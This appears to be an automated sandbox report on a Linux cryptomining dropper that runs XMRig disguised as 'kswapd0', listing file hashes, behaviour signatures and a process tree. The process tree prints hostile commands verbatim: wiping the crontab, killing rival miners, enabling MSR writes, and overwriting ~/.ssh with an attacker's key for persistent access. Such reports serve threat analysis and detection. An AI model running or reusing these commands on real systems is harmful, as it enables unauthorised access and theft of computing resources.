Analysis
-
max time kernel
149s -
max time network
137s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240226-en -
resource tags
-
submitted
07/03/2024, 18:02
General
-
Target
.rsync/a/a
-
Size
2KB
-
MD5
b067abc476505eea79d2233ee3585626
-
SHA1
15f7c9af535f4390b14ba03ddb990c732212dde8
-
SHA256
ed9330e1594e73097dc6c8bf9f157de0d3799171a1967aaa43f9cd8629092f07
-
SHA512
95211823aadc69ca8145339188cf90094afb28948ec8729fd4e208fdb0bff4fa3a5435574a12c51618c87916e3ecccfa8c4621b4e6f26c8c42ec8dd13a285fab
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
-
Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
-
Attempts to change immutable files 4 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 57 IoCs
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Enumerates kernel/hardware configuration 1 TTPs 26 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/.rsync/a/a/tmp/.rsync/a/a1⤵
- Writes file to tmp directory
-
/usr/bin/crontabcrontab -r2⤵
-
-
/bin/catcat dir.dir2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/modprobemodprobe msr "allow_writes=on"2⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
-
-
/bin/grepgrep -E "AMD Ryzen|AMD EPYC" /proc/cpuinfo2⤵
- Checks CPU configuration
-
-
/bin/grepgrep Intel /proc/cpuinfo2⤵
- Checks CPU configuration
-
-
/usr/bin/nprocnproc2⤵
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=1"2⤵
-
-
/usr/bin/findfind /sys/devices/system/node/node0 -maxdepth 0 -type d2⤵
-
-
/bin/chmodchmod u+x upd2⤵
-
-
/bin/chmodchmod 777 a dir.dir init0 kswapd0 run stop upd2⤵
-
-
/tmp/.rsync/a/upd./upd2⤵
- Executes dropped EXE
-
-
/tmp/.rsync/a/run./run1⤵
- Writes file to tmp directory
-
/tmp/.rsync/a/stop./stop2⤵
- Writes file to tmp directory
-
/usr/bin/chattrchattr -ia "~/.xmrig.json"3⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf "~/.xmrig.json"3⤵
-
-
/usr/bin/pkillpkill -9 cron3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 cron3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 kswapd03⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 kswapd03⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 ld-linux3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 ld-linux3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 Donald3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 Donald3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 xmr3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 xmr3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 xm643⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 xm643⤵
- Reads runtime system information
-
-
/bin/rmrm -rf .proc3⤵
-
-
-
/bin/sleepsleep 102⤵
-
-
/bin/catcat dir.dir2⤵
-
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/bin/grepgrep -v grep1⤵
-
/bin/grepgrep cron1⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/bin/grepgrep -v grep1⤵
-
/bin/grepgrep kswapd01⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/grepgrep -v grep1⤵
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/bin/grepgrep ld-linux1⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/bin/grepgrep -v grep1⤵
-
/bin/grepgrep Donald1⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
- Reads runtime system information
-
/bin/grepgrep -v grep1⤵
-
/bin/grepgrep xmr1⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$1}"1⤵
-
/bin/grepgrep -v grep1⤵
-
/bin/grepgrep xm641⤵
-
/bin/psps x1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/nohupnohup ./kswapd01⤵
-
/tmp/.rsync/a/kswapd0./kswapd01⤵
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"2⤵
-
-
/bin/shsh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"2⤵
- Attempts to change immutable files
-
/usr/bin/chattrchattr -ia "~/.xmrig.json"3⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf "~/.xmrig.json"3⤵
-
-
/usr/bin/chattrchattr -ia "~/.config/xmrig.json"3⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf "~/.config/xmrig.json"3⤵
-
-
-
/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"1⤵
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"2⤵
- Enumerates kernel/hardware configuration
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD5640131d2ba75c857ec1dce27bd643a8d
SHA1392517ee88faa48375f4e554f7d5e813cef48d11
SHA2561ee35c6ccedae99c86aabb0ca8e28cfb49582193bdafb52ffb31a629c1543f7d
SHA51267bf25d09e2bbbcd87dd2dfcb353ecabdd28480532c11746373b8076e86e989403a33aa626801c6a5e6cd33a519629665bbf36c873f6bb91e05e47c32fb50454
-
Filesize
1KB
MD5940c94f5b0389e1b75e0fe730d6cf521
SHA1448bdd721b8f952e4f4ce973379810bf2a1ac1ef
SHA25633c95ba77121cc0f82758300ee4726d9db1d101bd9f2991bdba76a08e0d0e51b
SHA512cbecde7229e4bc8b7b91af46ff7ae670b7d2ed695fe5dba817dcccc9a2af1f29f0727d537ad97cc8d3f8feb3dbed3ed68279cd718446c2bb1f88ddbdc3092253
-
Filesize
14B
MD5b3d878adcf4672bbd1f31cffac10c769
SHA1ce5798837933ece35a7e26a0a3dc06cab19c6275
SHA256ea5fce19c5fbbbc6c3c36eb9e8e295dfb525e9669aafaf8abe9ddb4e00e345c7
SHA512019d21a618b3ccc70c0c7ede225cbbb704e2b448048586c44c74c81a747129da9f3f9675f2a29363af320d2684974a1ff00ac608c53de4458aeacd3ed4f9da2c
-
Filesize
175B
MD5a136fbe534c2487d3c89bd6a26847bd0
SHA111b9362ba79b67dd5d5baf7cf11e0003f049d6e0
SHA256419a443ff93475ef3abb6e71e5a94e56aea8b7c1f1c4402b3662425815432d46
SHA51285047cf9d22037d2581ae41275107b243c0bb3259b57fe46bd3fd04a1abe75a7fdeace8a9eae1fae31349a00183206b40259ab3957db8f4f16a79e67133485e9